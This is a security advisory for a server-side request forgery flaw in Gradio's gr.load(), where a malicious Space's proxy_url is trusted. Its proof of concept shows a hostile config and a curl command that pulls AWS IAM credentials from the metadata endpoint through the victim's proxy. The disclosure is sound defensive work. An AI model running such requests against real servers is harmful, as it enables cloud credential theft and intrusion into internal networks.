GitHub Advisoryadvisory · PyPI
GHSA-jmh7-g254-2cq9 Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing
HIGH
Official page ↗
- Aliases
- CVE-2026-28416
- Ecosystem
- PyPI
- Packages
- gradio
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-03-01
Affected packages
• PyPI gradio: < 6.6.0 → fixed in 6.6.0
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
1. Config Fetching (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration.
2. Proxy URL Trust (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`:
```python
if config.get("proxy_url"):
self.proxy_urls.add(config["proxy_url"])
```
3. Built-in Proxy Route (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint:
```python
@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
async def reverse_proxy(url_path: str):
```
4. Host-based Validation (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host:
```python
is_safe_url = any(
url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
)
```
An attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
```python
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
```
2. Victim loads the malicious Space:
```python
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
```
3. Attacker exploits the proxy:
```bash
Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
```
Impact
Who is impacted:
• Any Gradio application that uses `gr.load()` to load external/untrusted Spaces
• HuggingFace Spaces that compose or embed other Spaces
• Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
• Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
• Internal service access: Reach databases, admin panels, and APIs on private networks
• Network reconnaissance: Map internal infrastructure through the victim
• Data exfiltration: Access sensitive internal APIs and services
Related
Alias · CVE (1)
- CVE-2026-28416 Gradio is an open-source Python package designed for quick prototyping. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/gradio-app/gradio/security/advisories/GHSA-jmh7-g254-2cq9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-28416 advisory
- https://github.com/gradio-app/gradio/commit/fc7c01ea1e581ef70be98fddf003b0c91315c7cc web
- https://github.com/gradio-app/gradio package
- https://github.com/gradio-app/gradio/releases/tag/gradio%406.6.0 web
- https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-66.yaml web